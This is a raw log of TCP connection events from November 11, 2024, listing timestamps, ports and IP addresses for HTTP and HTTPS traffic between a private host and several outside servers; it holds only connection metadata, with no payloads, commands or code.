Nov 11, 2024 19:17:55.482112885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.482126951 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.482139111 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.482152939 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.482247114 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.482259035 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.482270002 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.482284069 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.482326984 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.483299971 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.483318090 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.483330965 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.483360052 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.483381033 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.483383894 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.483393908 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.483406067 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.483432055 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.483458042 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.521512985 CET	443	49890	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.522340059 CET	443	49892	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.522767067 CET	443	49891	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.522979021 CET	443	49893	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.525161028 CET	443	49889	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.553687096 CET	443	49895	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.556556940 CET	49887	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.586011887 CET	49889	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.586038113 CET	443	49889	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.586134911 CET	49893	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.586144924 CET	443	49893	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.586242914 CET	49891	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.586252928 CET	443	49891	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.586523056 CET	443	49889	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.586602926 CET	49892	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.586621046 CET	443	49892	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.587208986 CET	49890	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.587234020 CET	443	49890	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.587416887 CET	443	49891	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.587434053 CET	443	49891	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.587472916 CET	49891	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.587758064 CET	443	49892	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.587790012 CET	443	49892	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.587893009 CET	49892	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.588288069 CET	443	49890	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.588301897 CET	443	49890	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.588344097 CET	49890	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.589931011 CET	49889	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.590028048 CET	443	49889	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.591176033 CET	49892	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.591248035 CET	443	49892	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.595799923 CET	49891	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.595937014 CET	443	49891	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.596359968 CET	443	49893	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.596374035 CET	443	49893	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.596458912 CET	49893	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.596627951 CET	443	49886	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.596652031 CET	443	49886	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.596697092 CET	49886	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.596712112 CET	443	49886	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.596837044 CET	443	49886	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.596887112 CET	49886	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.597595930 CET	49890	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.597681046 CET	443	49890	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.599059105 CET	49893	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.599144936 CET	443	49893	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.599394083 CET	49889	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.602956057 CET	443	49896	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.603445053 CET	443	49897	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.605329990 CET	443	49898	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.609571934 CET	49892	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.609585047 CET	443	49892	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.610804081 CET	443	49887	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.611808062 CET	49891	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.611835003 CET	443	49891	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.611895084 CET	49890	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.611926079 CET	443	49890	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.612452030 CET	49887	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.612495899 CET	443	49887	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.612567902 CET	49887	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.613812923 CET	49893	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.613823891 CET	443	49893	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.615993023 CET	49895	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.616023064 CET	443	49895	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.616926908 CET	49895	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.616931915 CET	443	49895	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.617254972 CET	443	49899	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.617891073 CET	49899	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.617927074 CET	443	49899	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.618654013 CET	49899	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.618666887 CET	443	49899	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.631515026 CET	49896	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.631541014 CET	443	49896	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.631619930 CET	49897	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.631655931 CET	443	49897	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.632613897 CET	49897	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.632621050 CET	443	49897	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.633295059 CET	49896	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.633301020 CET	443	49896	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.633564949 CET	49898	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.633579969 CET	443	49898	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.634155989 CET	49898	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.634167910 CET	443	49898	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.642923117 CET	49886	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.642946959 CET	443	49886	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.643630028 CET	49900	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.643656015 CET	443	49900	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.643714905 CET	49900	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.644747019 CET	49900	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.644766092 CET	443	49900	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.647330046 CET	443	49889	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.674041986 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.679299116 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.702387094 CET	49891	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.702403069 CET	49890	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.702450991 CET	49893	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.702451944 CET	49892	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.706058025 CET	443	49895	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.706231117 CET	443	49895	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.706298113 CET	49895	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.706446886 CET	49895	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.706466913 CET	443	49895	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.706480980 CET	49895	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.706485987 CET	443	49895	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.709614038 CET	49901	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.709650993 CET	443	49901	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.709712029 CET	49901	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.709913015 CET	49901	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.709923029 CET	443	49901	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.710406065 CET	443	49899	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.710469961 CET	443	49899	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.710525990 CET	49899	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.710707903 CET	49899	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.710726976 CET	443	49899	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.710738897 CET	49899	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.710743904 CET	443	49899	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.713630915 CET	49902	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.713665009 CET	443	49902	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.713790894 CET	49902	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.714066029 CET	49902	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.714081049 CET	443	49902	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.721949100 CET	443	49897	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.722027063 CET	443	49897	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.722076893 CET	49897	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.722265005 CET	49897	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.722273111 CET	443	49897	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.722282887 CET	49897	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.722285986 CET	443	49897	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.722784996 CET	443	49896	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.722834110 CET	443	49898	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.722845078 CET	443	49896	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.722922087 CET	49896	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.722959042 CET	443	49898	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.722997904 CET	49898	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.723206997 CET	49896	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.723231077 CET	443	49896	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.723253965 CET	49896	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.723262072 CET	443	49896	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.723330021 CET	49898	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.723340034 CET	443	49898	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.723350048 CET	49898	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.723352909 CET	443	49898	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.728504896 CET	49903	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.728535891 CET	443	49903	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.728727102 CET	49903	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.729712009 CET	49903	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.729723930 CET	443	49903	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.729871035 CET	49904	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.729893923 CET	443	49904	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.729958057 CET	49904	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.730180979 CET	49904	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.730180979 CET	49905	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.730194092 CET	443	49904	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.730202913 CET	443	49905	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.730251074 CET	49905	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.730365992 CET	49905	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.730379105 CET	443	49905	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.761084080 CET	443	49894	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.761395931 CET	49894	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.761424065 CET	443	49894	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.762486935 CET	443	49894	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.762542963 CET	49894	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.762880087 CET	49894	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.762938023 CET	443	49894	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.763075113 CET	49894	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.763082027 CET	443	49894	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.763135910 CET	49894	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.763153076 CET	443	49894	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.876852036 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.876867056 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.876877069 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.876929045 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.876954079 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.876966000 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.876969099 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.876979113 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.876998901 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877008915 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877021074 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877028942 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877041101 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877053022 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877058983 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877088070 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877243996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877315998 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877327919 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877357006 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877362967 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877374887 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877376080 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877388954 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877403975 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877413034 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877432108 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877434969 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877451897 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877486944 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877574921 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877650976 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877662897 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877671003 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877688885 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877705097 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877708912 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877722025 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877733946 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877743959 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877753973 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877759933 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877765894 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877777100 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877779961 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877796888 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877829075 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877829075 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877835989 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877876997 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877887011 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877899885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.877912998 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877940893 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.877994061 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878006935 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878017902 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878040075 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878063917 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878076077 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878082037 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878088951 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878108025 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878113031 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878122091 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878132105 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878133059 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878154993 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878184080 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878216982 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878298998 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878310919 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878334999 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878341913 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878354073 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878388882 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878499031 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878511906 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878523111 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878544092 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878546000 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878559113 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878568888 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878570080 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878582001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878598928 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878599882 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878612995 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878619909 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878623962 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878635883 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878644943 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878648043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878660917 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878671885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878673077 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878690958 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878693104 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878705025 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878705978 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878721952 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878731012 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878760099 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878760099 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878766060 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878798962 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878810883 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878835917 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878866911 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878918886 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878930092 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878941059 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878952980 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878962994 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.878964901 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.878990889 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.879003048 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.907630920 CET	49894	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.930814028 CET	443	49894	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.935935020 CET	49894	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.935992002 CET	443	49894	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.936064005 CET	49894	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.997303009 CET	443	49889	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.997327089 CET	443	49889	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.997400999 CET	49889	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.997431040 CET	443	49889	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.998392105 CET	443	49889	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.998533964 CET	49889	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.000597954 CET	49889	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.000617027 CET	443	49889	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.000624895 CET	49889	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.000722885 CET	49889	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.001682043 CET	49906	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.001723051 CET	443	49906	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.001801014 CET	49906	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.002379894 CET	49906	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.002393007 CET	443	49906	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.016709089 CET	443	49891	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.016844988 CET	443	49891	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.016891003 CET	49891	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.016902924 CET	443	49891	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.016918898 CET	443	49891	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.016978979 CET	49891	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.018646955 CET	443	49892	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.018668890 CET	443	49892	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.018723011 CET	443	49892	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.018759966 CET	49892	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.018785954 CET	49892	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.022037029 CET	443	49893	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.022066116 CET	443	49893	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.022140980 CET	49893	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.022154093 CET	443	49893	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.022180080 CET	443	49893	13.107.246.40	192.168.2.7
